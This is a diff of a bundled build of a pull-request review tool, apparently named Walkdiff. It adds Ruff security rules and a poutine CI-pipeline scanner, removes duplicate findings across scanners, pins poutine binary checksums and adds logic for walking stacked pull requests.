+ ];
6092
+ }
6093
+ function ruffArgs() {
6094
+ return ruffCheckArgs(SELECTED_RULES);
6095
+ }
6096
+ function readRuffViolations(stdout, root) {
6097
+ return ruffOutputSchema.parse(JSON.parse(stdout)).flatMap((violation) => {
6098
+ if (violation.code === null) return [];
6099
+ return [{
6100
+ code: violation.code,
6101
+ title: (violation.name ?? violation.code).replaceAll("-", " "),
6102
+ url: violation.url ?? void 0,
6103
+ path: pathInScanRoot(root, violation.filename),
6104
+ line: violation.location.row,
6105
+ endLine: violation.end_location.row
6106
+ }];
6107
+ });
6108
+ }
6109
+ function ruffDetail(violation) {
6110
+ return `Reported by Ruff, rule ${violation.code}.${violation.url === void 0 ? "" : ` See ${violation.url}.`}`;
6111
+ }
6112
+ function parseRuffOutput(stdout, root) {
6113
+ return readRuffViolations(stdout, root).map((violation) => ({
6114
+ ruleId: `ruff.${violation.code}`,
6115
+ category: RiskCategory.CodeQuality,
6116
+ severity: LIKELY_BUG_PREFIXES.some((prefix) => violation.code.startsWith(prefix)) ? RiskSeverity.Medium : RiskSeverity.Low,
6117
+ title: violation.title,
6118
+ detail: ruffDetail(violation),
6119
+ path: violation.path,
6120
+ line: violation.line,
6121
+ endLine: violation.endLine,
6122
+ showLine: true
6123
+ }));
6124
+ }
6125
+ // packages/engine/src/risk/scanners/ruffSecurity.ts
6126
+ const RUFF_SECURITY_RULE_PREFIX = "ruff-security.";
6127
+ /**
6128
+ * Ruff's port of Bandit (its `S` rules), limited to the ones that point at a real weakness. Left
6129
+ * out because they fire on ordinary code far more often than on a problem: `assert` (S101),
6130
+ * binding to all interfaces (S104), password-like strings (S105-S107, which gitleaks and the
6131
+ * built-in secret rules cover better), `/tmp` paths (S108), swallowed exceptions (S110, S112),
6132
+ * missing request timeouts (S113), `random` (S311), XML parsers (S313-S320, safe against entity
6133
+ * expansion attacks since Python 3.7.1), every `urlopen` (S310), paramiko's `exec_command` (S601),
6134
+ * any subprocess call (S603, S606, S607), suspicious imports (S4xx), and any use of Mako (S702).
6135
+ *
6136
+ * None is rated high: Ruff matches a pattern in one file without tracing where the data came
6137
+ * from, so it can't tell an attacker-controlled argument from a constant. Semgrep's taint rules
6138
+ * can, which is why its finding wins when both report the same line.
6139
+ */
6140
+ const RULE_SEVERITIES = /* @__PURE__ */ new Map([
6141
+ ["S102", RiskSeverity.Medium],
6142
+ ["S103", RiskSeverity.Low],
6143
+ ["S201", RiskSeverity.Medium],
6144
+ ["S202", RiskSeverity.Medium],
6145
+ ["S301", RiskSeverity.Medium],
6146
+ ["S302", RiskSeverity.Medium],
6147
+ ["S303", RiskSeverity.Low],
6148
+ ["S304", RiskSeverity.Low],
6149
+ ["S305", RiskSeverity.Low],
6150
+ ["S306", RiskSeverity.Low],
6151
+ ["S307", RiskSeverity.Medium],
6152
+ ["S308", RiskSeverity.Low],
6153
+ ["S323", RiskSeverity.Medium],
6154
+ ["S324", RiskSeverity.Low],
6155
+ ["S501", RiskSeverity.Medium],
6156
+ ["S502", RiskSeverity.Medium],
6157
+ ["S503", RiskSeverity.Medium],
6158
+ ["S505", RiskSeverity.Low],
6159
+ ["S506", RiskSeverity.Medium],
6160
+ ["S507", RiskSeverity.Medium],
6161
+ ["S508", RiskSeverity.Low],
6162
+ ["S509", RiskSeverity.Low],
6163
+ ["S602", RiskSeverity.Medium],
6164
+ ["S604", RiskSeverity.Medium],
6165
+ ["S605", RiskSeverity.Medium],
6166
+ ["S608", RiskSeverity.Medium],
6167
+ ["S609", RiskSeverity.Medium],
6168
+ ["S610", RiskSeverity.Medium],
6169
+ ["S611", RiskSeverity.Medium],
6170
+ ["S612", RiskSeverity.Medium],
6171
+ ["S701", RiskSeverity.Medium],
6172
+ ["S704", RiskSeverity.Medium]
6173
+ ]);
6174
+ function ruffSecurityArgs() {
6175
+ return ruffCheckArgs([...RULE_SEVERITIES.keys()]);
6176
+ }
6177
+ /** Test code doesn't run in production, and loading fixtures with pickle or YAML is routine there. */
6178
+ function parseRuffSecurityOutput(stdout, root) {
6179
+ return readRuffViolations(stdout, root).flatMap((violation) => {
6180
+ const severity = RULE_SEVERITIES.get(violation.code);
6181
+ if (severity === void 0 || isTestPath(violation.path)) return [];
6182
+ return [{
6183
+ ruleId: `${RUFF_SECURITY_RULE_PREFIX}${violation.code}`,
6184
+ category: RiskCategory.CodeScan,
6185
+ severity,
6186
+ title: violation.title,
6187
+ detail: ruffDetail(violation),
6188
+ path: violation.path,
6189
+ line: violation.line,
6190
+ endLine: violation.endLine,
6191
+ showLine: true
6192
+ }];
6193
+ });
6194
+ }
6195
+ // packages/engine/src/risk/repeatedFindings.ts
6196
+ /** Drops findings that only repeat another check's finding on the same line. */
6197
+ function withoutRepeatedFindings(findings) {
6198
+ return withoutRuffRepeats(withoutRepeatedSecrets(findings));
6199
+ }
6200
+ function withoutRepeatedSecrets(findings) {
6201
+ const seen = /* @__PURE__ */ new Set();
6202
+ return findings.filter((finding) => {
6203
+ if (finding.category !== RiskCategory.Secret || finding.location === null) return true;
6204
+ const key = `${finding.location.path}\0${finding.location.line}`;
6205
+ if (seen.has(key)) return false;
6206
+ seen.add(key);
6207
+ return true;
6208
+ });
6209
+ }
6210
+ /**
6211
+ * Ruff's security rules overlap the built-in Python rules and Semgrep's defaults almost entirely
6212
+ * (`shell=True`, `yaml.load`, `pickle`, `eval`, `verify=False`), so where either flagged the line,
6213
+ * Ruff's finding is dropped. The others are kept because the built-in rules skip comments and
6214
+ * strings, and Semgrep's rules can trace data flow. Ruff's earn their place offline, when Semgrep
6215
+ * can't run, and on the rules the built-in ones don't have.
6216
+ */
6217
+ function withoutRuffRepeats(findings) {
6218
+ const isRuff = (finding) => finding.ruleId.startsWith(RUFF_SECURITY_RULE_PREFIX);
6219
+ const flaggedByOthers = new Set(findings.filter((finding) => !isRuff(finding) && isCodeFinding(finding)).flatMap((finding) => lineKey(finding) ?? []));
6220
+ return findings.filter((finding) => {
6221
+ const key = lineKey(finding);
6222
+ return !isRuff(finding) || key === void 0 || !flaggedByOthers.has(key);
6223
+ });
6224
+ }
6225
+ function isCodeFinding(finding) {
6226
+ return finding.category === RiskCategory.CodeScan || finding.category === RiskCategory.DangerousApi;
6227
+ }
6228
+ function lineKey(finding) {
6229
+ return finding.location === null || finding.location.line === null ? void 0 : `${finding.location.path}\0${finding.location.line}`;
6230
+ }
5603
6231
  // packages/engine/src/risk/scanners/gitleaks.ts
5604
6232
  const GITLEAKS_BINARY = "gitleaks";
5605
6233
  const gitleaksOutputSchema = z.array(z.object({
@@ -5646,13 +6274,13 @@ function parseGitleaksReport(report) {
5646
6274
  // packages/engine/src/risk/scanners/zizmor.ts
5647
6275
  const ZIZMOR_BINARY = "zizmor";
5648
6276
  const ZIZMOR_CONFIG_FILE = "zizmor-config.yml";
5649
- const SEVERITIES = {
6277
+ const SEVERITIES$1 = {
5650
6278
  High: RiskSeverity.High,
5651
6279
  Medium: RiskSeverity.Medium,
5652
6280
  Low: RiskSeverity.Low,
5653
6281
  Informational: RiskSeverity.Low
5654
6282
  };
5655
- const SEVERITY_OVERRIDES = { "unpinned-uses": RiskSeverity.Medium };
6283
+ const SEVERITY_OVERRIDES$1 = { "unpinned-uses": RiskSeverity.Medium };
5656
6284
  const zizmorOutputSchema = z.array(z.object({
5657
6285
  ident: z.string(),
5658
6286
  desc: z.string(),
@@ -5696,7 +6324,7 @@ function parseZizmorOutput(stdout, root) {
5696
6324
  return [{
5697
6325
  ruleId: `zizmor.${finding.ident}`,
5698
6326
  category: RiskCategory.CodeScan,
5699
- severity: SEVERITY_OVERRIDES[finding.ident] ?? SEVERITIES[finding.determinations.severity] ?? RiskSeverity.Medium,
6327
+ severity: SEVERITY_OVERRIDES$1[finding.ident] ?? SEVERITIES$1[finding.determinations.severity] ?? RiskSeverity.Medium,
5700
6328
  title: finding.ident.replaceAll("-", " "),
5701
6329
  detail: `${finding.desc}. Reported by zizmor.${finding.url === void 0 ? "" : ` See ${finding.url}.`}`,
5702
6330
  path: pathInScanRoot(root, primary.symbolic.key.Local.verbatim_path),
@@ -5706,6 +6334,83 @@ function parseZizmorOutput(stdout, root) {
5706
6334
  }];
5707
6335
  });
5708
6336
  }
6337
+ // packages/engine/src/risk/scanners/poutine.ts
6338
+ const POUTINE_BINARY = "poutine";
6339
+ const POUTINE_CONFIG_FILE = "poutine-config.yml";
6340
+ const POUTINE_RULE_PREFIX = "poutine.";
6341
+ const SEVERITIES = {
6342
+ error: RiskSeverity.High,
6343
+ warning: RiskSeverity.Medium,
6344
+ note: RiskSeverity.Low
6345
+ };
6346
+ const SEVERITY_OVERRIDES = {
6347
+ unverified_script_exec: RiskSeverity.Medium,
6348
+ debug_enabled: RiskSeverity.Medium
6349
+ };
6350
+ const poutineOutputSchema = z.object({
6351
+ findings: z.array(z.object({
6352
+ rule_id: z.string(),
6353
+ meta: z.object({
6354
+ path: z.string().optional(),
6355
+ line: z.number().int().optional(),
6356
+ details: z.string().optional()
6357
+ }).loose()
6358
+ }).loose()).nullable(),
6359
+ rules: z.record(z.string(), z.object({
6360
+ title: z.string(),
6361
+ description: z.string(),
6362
+ level: z.string()
6363
+ }).loose())
6364
+ }).loose();
6365
+ /**
6366
+ * Our own `--config` means a `.poutine.yml` in the change can't skip rules, and the version check
6367
+ * is the only network call poutine makes on a local folder.
6368
+ */
6369
+ function poutineArgs(configPath) {
6370
+ return [
6371
+ "analyze_local",
6372
+ ".",
6373
+ "--format",
6374
+ "json",
6375
+ "--quiet",
6376
+ "--disable-version-check",
6377
+ "--config",
6378
+ configPath
6379
+ ];
6380
+ }
6381
+ /** `texts` holds each scanned file by path, to place findings poutine reports without a line. */
6382
+ function parsePoutineOutput(stdout, root, texts) {
6383
+ const output = poutineOutputSchema.parse(JSON.parse(stdout));
6384
+ return (output.findings ?? []).flatMap((finding) => {
6385
+ if (finding.meta.path === void 0) return [];
6386
+ const path = pathInScanRoot(root, finding.meta.path);
6387
+ const line = finding.meta.line ?? lineMentioning(texts.get(path), finding.meta.details);
6388
+ if (line === void 0) return [];
6389
+ const rule = output.rules[finding.rule_id];
6390
+ const description = rule?.description.replaceAll("\n", " ").trim();
6391
+ return [{
6392
+ ruleId: `${POUTINE_RULE_PREFIX}${finding.rule_id}`,
6393
+ category: RiskCategory.CodeScan,
6394
+ severity: SEVERITY_OVERRIDES[finding.rule_id] ?? SEVERITIES[rule?.level ?? ""] ?? RiskSeverity.Medium,
6395
+ title: rule?.title ?? finding.rule_id.replaceAll("_", " "),
6396
+ detail: [
6397
+ finding.meta.details === void 0 ? void 0 : `${finding.meta.details}.`,
6398
+ description,
6399
+ "Reported by poutine."
6400
+ ].filter((part) => part !== void 0).join(" "),
6401
+ path,
6402
+ line,
6403
+ endLine: line,
6404
+ showLine: true
6405
+ }];
6406
+ });
6407
+ }
6408
+ function lineMentioning(text, details) {
6409
+ if (text === void 0 || details === void 0) return void 0;
6410
+ const names = details.split(/\s+/).filter((name) => name !== "");
6411
+ const index = text.split("\n").findIndex((line) => names.some((name) => line.includes(name)));
6412
+ return index === -1 ? void 0 : index + 1;
6413
+ }
5709
6414
  // packages/engine/src/risk/scanners/semgrep.ts
5710
6415
  const SEMGREP_BINARY$1 = "semgrep";
5711
6416
  const semgrepOutputSchema = z.object({ results: z.array(z.object({
@@ -5772,6 +6477,12 @@ const ZIZMOR_CHECK = "zizmor GitHub Actions scan";
5772
6477
  const ZIZMOR_INSTALL = "not installed. Run `walkdiff setup`, or use `brew install zizmor`";
5773
6478
  const WORKFLOW_FILE = /(^|\/)(\.github\/workflows\/[^/]+\.ya?ml|action\.ya?ml)$/;
5774
6479
  const GITLEAKS_INSTALL = "not installed. Run `walkdiff setup`, or use `brew install gitleaks`";
6480
+ const RUFF_SECURITY_CHECK = "Ruff security rules";
6481
+ const RUFF_INSTALL = "not installed. Run `walkdiff setup`, or use `brew install ruff`";
6482
+ const PYTHON_FILE = /\.pyi?$/;
6483
+ const POUTINE_CHECK = "poutine CI pipeline scan";
6484
+ const POUTINE_INSTALL = "not installed. Run `walkdiff setup`, or use `brew install poutine`";
6485
+ const PIPELINE_ROOT_DIR = "pipelines";
5775
6486
  const SEMGREP_SUCCESS_EXIT_CODE = 0;
5776
6487
  const GITLEAKS_REPORT_FILE = "gitleaks-report.json";
5777
6488
  const SCAN_ROOT_DIR = "files";
@@ -5790,6 +6501,8 @@ const SCANNER_CONTROL_FILES = /* @__PURE__ */ new Set([
5790
6501
  ".semgrep.yaml",
5791
6502
  ".semgrepconfig.yml",
5792
6503
  "zizmor.yml",
6504
+ ".poutine.yml",
6505
+ "poutine.yml",
5793
6506
  ".gitignore"
5794
6507
  ]);
5795
6508
  const EMPTY_IGNORE_FILE = ".semgrepignore";
@@ -5804,7 +6517,7 @@ async function runCodeScanners(request) {
5804
6517
  checksRun: [],
5805
6518
  notChecked: []
5806
6519
  };
5807
- const workspace = await mkdtemp(join(tmpdir(), "walkdiff-scan-"));
6520
+ const workspace = await realpath(await mkdtemp(join(tmpdir(), "walkdiff-scan-")));
5808
6521
  try {
5809
6522
  const root = join(workspace, SCAN_ROOT_DIR);
5810
6523
  await mkdir(root, { recursive: true });
@@ -5813,7 +6526,9 @@ async function runCodeScanners(request) {
5813
6526
  const outcomes = await Promise.all([
5814
6527
  runSemgrep(request, root),
5815
6528
  runGitleaks(request, root, workspace),
5816
- runZizmor(request, root, workspace)
6529
+ runZizmor(request, root, workspace),
6530
+ runRuffSecurity(request, root),
6531
+ runPoutine(request, workspace)
5817
6532
  ]);
5818
6533
  return {
5819
6534
  findings: toRisks(outcomes.flatMap((outcome) => outcome.findings), candidates),
@@ -5881,6 +6596,63 @@ async function runZizmor(request, root, workspace) {
5881
6596
  return notRun(ZIZMOR_CHECK, `its output could not be read: ${error instanceof Error ? error.message : String(error)}`);
5882
6597
  }
5883
6598
  }
6599
+ /**
6600
+ * poutine gets its own folder: it needs the GitLab CI files the change includes, not only the
6601
+ * changed ones, and none of GitHub's workflows, which zizmor checks in more depth.
6602
+ */
6603
+ async function runPoutine(request, workspace) {
6604
+ const pipeline = request.pipelineFiles ?? [];
6605
+ if (pipeline.length === 0) return {
6606
+ findings: [],
6607
+ checksRun: [],
6608
+ notChecked: []
6609
+ };
6610
+ if (request.disabled?.has(CheckId.Poutine)) return notRun(POUTINE_CHECK, TURNED_OFF_IN_SETTINGS);
6611
+ const root = join(workspace, PIPELINE_ROOT_DIR);
6612
+ await mkdir(root, { recursive: true });
6613
+ await writeScanFiles(root, pipeline);
6614
+ const configPath = join(workspace, POUTINE_CONFIG_FILE);
6615
+ await writeFile(configPath, "{}\n");
6616
+ const result = await request.run(POUTINE_BINARY, poutineArgs(configPath), root);
6617
+ if (result === void 0) return notRun(POUTINE_CHECK, POUTINE_INSTALL);
6618
+ if (result.exitCode !== 0) return notRun(POUTINE_CHECK, `it failed: ${firstErrorLine(result)}`);
6619
+ try {
6620
+ const texts = new Map(pipeline.map((file) => [file.path, file.text]));
6621
+ return {
6622
+ findings: parsePoutineOutput(result.stdout, root, texts),
6623
+ checksRun: [{
6624
+ name: "poutine",
6625
+ detail: "GitLab CI, Azure Pipelines and Tekton"
6626
+ }],
6627
+ notChecked: []
6628
+ };
6629
+ } catch (error) {
6630
+ return notRun(POUTINE_CHECK, `its output could not be read: ${error instanceof Error ? error.message : String(error)}`);
6631
+ }
6632
+ }
6633
+ async function runRuffSecurity(request, root) {
6634
+ if (!request.files.some((file) => PYTHON_FILE.test(file.diff.path) && file.after !== void 0)) return {
6635
+ findings: [],
6636
+ checksRun: [],
6637
+ notChecked: []
6638
+ };
6639
+ if (request.disabled?.has(CheckId.Ruff)) return notRun(RUFF_SECURITY_CHECK, TURNED_OFF_IN_SETTINGS);
6640
+ const result = await request.run(RUFF_BINARY, ruffSecurityArgs(), root);
6641
+ if (result === void 0) return notRun(RUFF_SECURITY_CHECK, RUFF_INSTALL);
6642
+ if (result.exitCode !== 0) return notRun(RUFF_SECURITY_CHECK, `it failed: ${firstErrorLine(result)}`);
6643
+ try {
6644
+ return {
6645
+ findings: parseRuffSecurityOutput(result.stdout, root),
6646
+ checksRun: [{
6647
+ name: RUFF_SECURITY_CHECK,
6648
+ detail: "Bandit's rules for Python, outside tests"
6649
+ }],
6650
+ notChecked: []
6651
+ };
6652
+ } catch (error) {
6653
+ return notRun(RUFF_SECURITY_CHECK, `its output could not be read: ${error instanceof Error ? error.message : String(error)}`);
6654
+ }
6655
+ }
5884
6656
  async function runGitleaks(request, root, workspace) {
5885
6657
  if (request.disabled?.has(CheckId.Gitleaks)) return notRun(GITLEAKS_CHECK, TURNED_OFF_IN_SETTINGS);
5886
6658
  const reportPath = join(workspace, GITLEAKS_REPORT_FILE);
@@ -5988,55 +6760,6 @@ function parseOxlintOutput(stdout, root) {
5988
6760
  }];
5989
6761
  });
5990
6762
  }
5991
- // packages/engine/src/risk/scanners/ruff.ts
5992
- const RUFF_BINARY = "ruff";
5993
- const SELECTED_RULES = "F,B,E7,E9";
5994
- const LIKELY_BUG_PREFIXES = [
5995
- "F82",
5996
- "F63",
5997
- "F7",
5998
- "B",
5999
- "E9"
6000
- ];
6001
- const ruffOutputSchema = z.array(z.object({
6002
- code: z.string().nullable(),
6003
- name: z.string().optional(),
6004
- filename: z.string(),
6005
- location: z.object({ row: z.number().int() }),
6006
- end_location: z.object({ row: z.number().int() }),
6007
- url: z.string().nullable().optional()
6008
- }));
6009
- /** `--isolated` ignores every Ruff config file, so the rules are the same for any repository. */
6010
- function ruffArgs() {
6011
- return [
6012
- "check",
6013
- "--isolated",
6014
- "--output-format",
6015
- "json",
6016
- "--no-cache",
6017
- "--exit-zero",
6018
- "--select",
6019
- SELECTED_RULES,
6020
- "."
6021
- ];
6022
- }
6023
- function parseRuffOutput(stdout, root) {
6024
- return ruffOutputSchema.parse(JSON.parse(stdout)).flatMap((violation) => {
6025
- if (violation.code === null) return [];
6026
- const code = violation.code;
6027
- return [{
6028
- ruleId: `ruff.${code}`,
6029
- category: RiskCategory.CodeQuality,
6030
- severity: LIKELY_BUG_PREFIXES.some((prefix) => code.startsWith(prefix)) ? RiskSeverity.Medium : RiskSeverity.Low,
6031
- title: (violation.name ?? code).replaceAll("-", " "),
6032
- detail: `Reported by Ruff, rule ${code}.${violation.url ? ` See ${violation.url}.` : ""}`,
6033
- path: pathInScanRoot(root, violation.filename),
6034
- line: violation.location.row,
6035
- endLine: violation.end_location.row,
6036
- showLine: true
6037
- }];
6038
- });
6039
- }
6040
6763
  // packages/engine/src/risk/scanners/runQualityScanners.ts
6041
6764
  /**
6042
6765
  * Only source files are ever copied into a scan folder, so a config file in the PR (`ruff.toml`,
@@ -6162,13 +6885,13 @@ function runProblem(result, okExitCodes, scanner) {
6162
6885
  */
6163
6886
  async function runJscpd(request, candidates, workspace) {
6164
6887
  if (request.disabled?.has(JSCPD.id)) return notRun(JSCPD.check, TURNED_OFF_IN_SETTINGS);
6165
- const reviewable = candidates.filter((file) => !isTestPath(file.diff.path) && hasAddedLines(file));
6888
+ const reviewable = candidates.filter((file) => isDuplicationCandidate(file.diff.path) && hasAddedLines(file));
6166
6889
  if (reviewable.length === 0) return {
6167
6890
  findings: [],
6168
6891
  checksRun: [],
6169
6892
  notChecked: []
6170
6893
  };
6171
- const sources = (await listSourceFiles(request.repoDir, request.head)).filter((path) => !isTestPath(path) && !request.isIgnored(path) && !CONFIG_LIKE_FILE.test(basename(path)));
6894
+ const sources = (await listSourceFiles(request.repoDir, request.head)).filter((path) => isDuplicationCandidate(path) && !request.isIgnored(path) && !CONFIG_LIKE_FILE.test(basename(path)));
6172
6895
  if (sources.length > MAX_DUPLICATION_SOURCE_FILES) return notRun(JSCPD.check, `the repository has more than ${MAX_DUPLICATION_SOURCE_FILES} source files`);
6173
6896
  const root = await prepareScanRoot(workspace, JSCPD.name, []);
6174
6897
  await copySources(request, sources, root);
@@ -6188,6 +6911,15 @@ async function runJscpd(request, candidates, workspace) {
6188
6911
  return notRun(JSCPD.check, `its report could not be read: ${messageOf(error)}`);
6189
6912
  }
6190
6913
  }
6914
+ /**
6915
+ * Tests repeat setup on purpose. Migrations are written from a template, such as db-migrate's
6916
+ * `setup`, `up` and `down`, and are frozen once run, so copying code into one rather than
6917
+ * importing it is right: the migration must not change when the app does. Either would make
6918
+ * every new file look like a copy of the last.
6919
+ */
6920
+ function isDuplicationCandidate(path) {
6921
+ return !isTestPath(path) && !isMigrationPath(path);
6922
+ }
6191
6923
  async function copySources(request, paths, root) {
6192
6924
  for (let start = 0; start < paths.length; start += SCAN_BATCH_FILES) {
6193
6925
  const batch = paths.slice(start, start + SCAN_BATCH_FILES);
@@ -6266,7 +6998,7 @@ const BUILT_IN_RULES = [
6266
6998
  pathRule("path.auth", RiskSeverity.Medium, new RegExp(`${SEGMENT}(auth|authn|authz|login|session|sessions|oauth|sso|permissions?|acl|rbac|access[_-]?control)${END}`, "i"), "Authentication or authorization", "A mistake here can let users act as someone else or reach data they should not."),
6267
6999
  pathRule("path.crypto", RiskSeverity.Medium, new RegExp(`${SEGMENT}(crypto|cryptography|encrypt|encryption|cipher|signing|signature|jwt|keys?tore)${END}`, "i"), "Cryptography", "Subtle errors in cryptographic code rarely show in tests; check algorithms, key handling and randomness."),
6268
7000
  pathRule("path.payments", RiskSeverity.Medium, new RegExp(`${SEGMENT}(payments?|billing|invoices?|stripe)${END}`, "i"), "Payments or billing", "Errors here cost money directly; check amounts, currencies and idempotency."),
6269
- pathRule("path.migration", RiskSeverity.Medium, /(^|\/)migrations?\/|(^|\/)alembic\/versions\//, "Database migration", "Migrations change production data and can be slow or irreversible; check locking and rollback."),
7001
+ pathRule("path.migration", RiskSeverity.Medium, MIGRATION_PATH, "Database migration", "Migrations change production data and can be slow or irreversible; check locking and rollback."),
6270
7002
  pathRule("path.infrastructure", RiskSeverity.Low, /\.tf$|(^|\/)Dockerfile[^/]*$|(^|\/)docker-compose[^/]*\.ya?ml$|(^|\/)(k8s|kubernetes|helm|charts)\//, "Infrastructure or deployment", "Changes the environment the code runs in: exposure, permissions and resource limits.")
6271
7003
  ];
6272
7004
  /** One finding per file: team rules from the config first, then the first built-in rule that matches. */
@@ -6309,7 +7041,7 @@ const UNCOVERED_CODE_EXTENSIONS = /* @__PURE__ */ new Set([
6309
7041
  ]);
6310
7042
  const BUILT_IN_CHECK = {
6311
7043
  name: "Built-in rules",
6312
- detail: "secrets, risky APIs and sensitive paths"
7044
+ detail: "secrets, risky APIs, sensitive paths and GitLab CI"
6313
7045
  };
6314
7046
  const BREAKING_CHANGE_CHECK = {
6315
7047
  name: "Breaking changes",
@@ -6344,12 +7076,14 @@ async function assessRisk(request) {
6344
7076
  allowedLicenses: config.dependencies.allowedLicenses ?? void 0
6345
7077
  });
6346
7078
  request.reportStep(AnalysisStep.ScanningCode);
7079
+ const pipelineFiles = await readPipelineFiles(scanned, (paths) => readHeadTexts(request, paths));
6347
7080
  const codeScan = await runCodeScanners({
6348
7081
  files: scanned,
6349
7082
  semgrepRules: config.scanners.semgrep.rules,
6350
7083
  network: request.network,
6351
7084
  run: request.runScanner,
6352
- disabled: request.disabledChecks
7085
+ disabled: request.disabledChecks,
7086
+ pipelineFiles
6353
7087
  });
6354
7088
  request.reportStep(AnalysisStep.CheckingQuality);
6355
7089
  const quality = config.quality.enabled ? await assessQuality(request, scanned, config) : {
@@ -6366,10 +7100,11 @@ async function assessRisk(request) {
6366
7100
  scanned,
6367
7101
  versions: request.versions
6368
7102
  });
6369
- const findings = withoutRepeatedSecrets([
7103
+ const findings = withoutRepeatedFindings([
6370
7104
  ...scanSecrets(scanned),
6371
7105
  ...await scanDangerousApis(scanned),
6372
7106
  ...scanSensitivePaths(scanned, config),
7107
+ ...scanGitlabCi(scanned, pipelineFiles),
6373
7108
  ...codeScan.findings,
6374
7109
  ...dependencies.findings,
6375
7110
  ...reviewSignals(request.files),
@@ -6417,15 +7152,11 @@ async function assessQuality(request, scanned, config) {
6417
7152
  checksRun: [FUNCTION_METRICS_CHECK, ...scanners.checksRun]
6418
7153
  };
6419
7154
  }
6420
- function withoutRepeatedSecrets(findings) {
6421
- const seen = /* @__PURE__ */ new Set();
6422
- return findings.filter((finding) => {
6423
- if (finding.category !== RiskCategory.Secret || finding.location === null) return true;
6424
- const key = `${finding.location.path}\0${finding.location.line}`;
6425
- if (seen.has(key)) return false;
6426
- seen.add(key);
6427
- return true;
6428
- });
7155
+ async function readHeadTexts(request, paths) {
7156
+ return (await readBlobs(request.repoDir, paths.map((path) => ({
7157
+ commit: request.head,
7158
+ path
7159
+ })))).map((blob) => blob?.toString("utf8"));
6429
7160
  }
6430
7161
  function securityLevelOf(findings) {
6431
7162
  const security = securityFindings(findings);
@@ -7533,6 +8264,7 @@ const SCANNER_BINARIES = [
7533
8264
  OSV_SCANNER_BINARY,
7534
8265
  RUFF_BINARY,
7535
8266
  ZIZMOR_BINARY,
8267
+ POUTINE_BINARY,
7536
8268
  OXLINT_BINARY,
7537
8269
  JSCPD_BINARY
7538
8270
  ];
@@ -7934,6 +8666,14 @@ const CHECKS = [
7934
8666
  install: "walkdiff setup",
7935
8667
  sends: null
7936
8668
  },
8669
+ {
8670
+ id: CheckId.Poutine,
8671
+ name: "poutine",
8672
+ purpose: "Finds security problems in GitLab CI, Azure Pipelines and Tekton",
8673
+ binary: POUTINE_BINARY,
8674
+ install: "walkdiff setup",
8675
+ sends: null
8676
+ },
7937
8677
  {
7938
8678
  id: CheckId.DependencyTrust,
7939
8679
  name: "Dependency trust",
@@ -7953,7 +8693,7 @@ const CHECKS = [
7953
8693
  {
7954
8694
  id: CheckId.Ruff,
7955
8695
  name: "Ruff",
7956
- purpose: "Finds likely bugs in Python",
8696
+ purpose: "Finds likely bugs and insecure code in Python",
7957
8697
  binary: RUFF_BINARY,
7958
8698
  install: "walkdiff setup",
7959
8699
  sends: null
@@ -8106,6 +8846,30 @@ const BINARY_PINS = [
8106
8846
  sha256: "d185f726bdaf92df78273217dfdd24ebcd6b0ef48cf3ce776ff5762b6e138c99"
8107
8847
  }
8108
8848
  }
8849
+ },
8850
+ {
8851
+ binary: "poutine",
8852
+ version: "1.1.6",
8853
+ baseUrl: "https://github.com/boostsecurityio/poutine/releases/download/v1.1.6",
8854
+ archive: ArchiveKind.TarGz,
8855
+ assets: {
8856
+ "darwin-arm64": {
8857
+ file: "poutine_Darwin_arm64.tar.gz",
8858
+ sha256: "9384f02eeefb4d0778fc61ee4c675e15898b9b01c9cf821dc854d702c4e8a6b2"
8859
+ },
8860
+ "darwin-x64": {
8861
+ file: "poutine_Darwin_x86_64.tar.gz",
8862
+ sha256: "27c9b86bd12db19e27c05c22a42dc44492dd00ed2ab7287900b28cd2effb94d3"
8863
+ },
8864
+ "linux-arm64": {
8865
+ file: "poutine_Linux_arm64.tar.gz",
8866
+ sha256: "460c90300c6329106b551c150682d12e457365f6436a6cbbd08fe79eb9a98131"
8867
+ },
8868
+ "linux-x64": {
8869
+ file: "poutine_Linux_x86_64.tar.gz",
8870
+ sha256: "abde716599a65608b023a69ed9316e5f083a7bca48612151c2720835883757ea"
8871
+ }
8872
+ }
8109
8873
  }
8110
8874
  ];
8111
8875
  const SEMGREP_VERSION = "1.183.0";
@@ -8465,6 +9229,102 @@ async function findMarked(api, marker) {
8465
9229
  if (comments.length < 100) return void 0;
8466
9230
  }
8467
9231
  }
9232
+ // packages/providers/src/stack.ts
9233
+ /**
9234
+ * Finds a stack by following branches, for hosts or repositories without stacks of their own.
9235
+ * Walks down through the open PR whose head is each base, then up through the open PR based on
9236
+ * each head. Wherever the chain is ambiguous it stops, since a stack is one line of PRs.
9237
+ */
9238
+ async function walkStack(start, open) {
9239
+ const reviewed = start.pullRequest.member;
9240
+ const seen = /* @__PURE__ */ new Set([reviewed.number]);
9241
+ const below = await membersBelow(start, open, seen);
9242
+ const above = await membersAbove(start.pullRequest, open, seen, 20 - below.length - 1);
9243
+ const members = [
9244
+ ...below,
9245
+ reviewed,
9246
+ ...above.members
9247
+ ];
9248
+ if (members.length < 2) return void 0;
9249
+ return {
9250
+ source: StackSource.Branches,
9251
+ trunk: below.at(0)?.baseRef ?? reviewed.baseRef,
9252
+ members,
9253
+ leftOut: above.leftOut
9254
+ };
9255
+ }
9256
+ async function membersBelow(start, open, seen) {
9257
+ const below = [];
9258
+ let base = start.pullRequest.member.baseRef;
9259
+ while (base !== start.defaultBranch && below.length < 19) {
9260
+ const [parent, ...others] = (await open.withHead(base)).filter((candidate) => candidate.headInRepository && !seen.has(candidate.member.number));
9261
+ if (parent === void 0 || others.length > 0) break;
9262
+ seen.add(parent.member.number);
9263
+ below.unshift(parent.member);
9264
+ base = parent.member.baseRef;
9265
+ }
9266
+ return below;
9267
+ }
9268
+ async function membersAbove(start, open, seen, room) {
9269
+ const members = [];
9270
+ let top = start;
9271
+ while (top.headInRepository && members.length < room) {
9272
+ const children = (await open.withBase(top.member.headRef)).filter((candidate) => !seen.has(candidate.member.number));
9273
+ const [child, ...others] = children;
9274
+ if (child === void 0) break;
9275
+ if (others.length > 0) return {
9276
+ members,
9277
+ leftOut: children.slice(0, 20).map((candidate) => candidate.member)
9278
+ };
9279
+ seen.add(child.member.number);
9280
+ members.push(child.member);
9281
+ top = child;
9282
+ }
9283
+ return {
9284
+ members,
9285
+ leftOut: []
9286
+ };
9287
+ }
9288
+ /**
9289
+ * A stack from the host's own feature, bottom first. A longer one than Walkdiff takes is cut to
9290
+ * the members around the reviewed PR, so that one stays in it.
9291
+ */
9292
+ function stackFromHost(ordered, reviewed) {
9293
+ const members = keptAround(ordered, ordered.findIndex((member) => member.number === reviewed));
9294
+ const bottom = members.at(0);
9295
+ return bottom === void 0 || members.length < 2 ? void 0 : {
9296
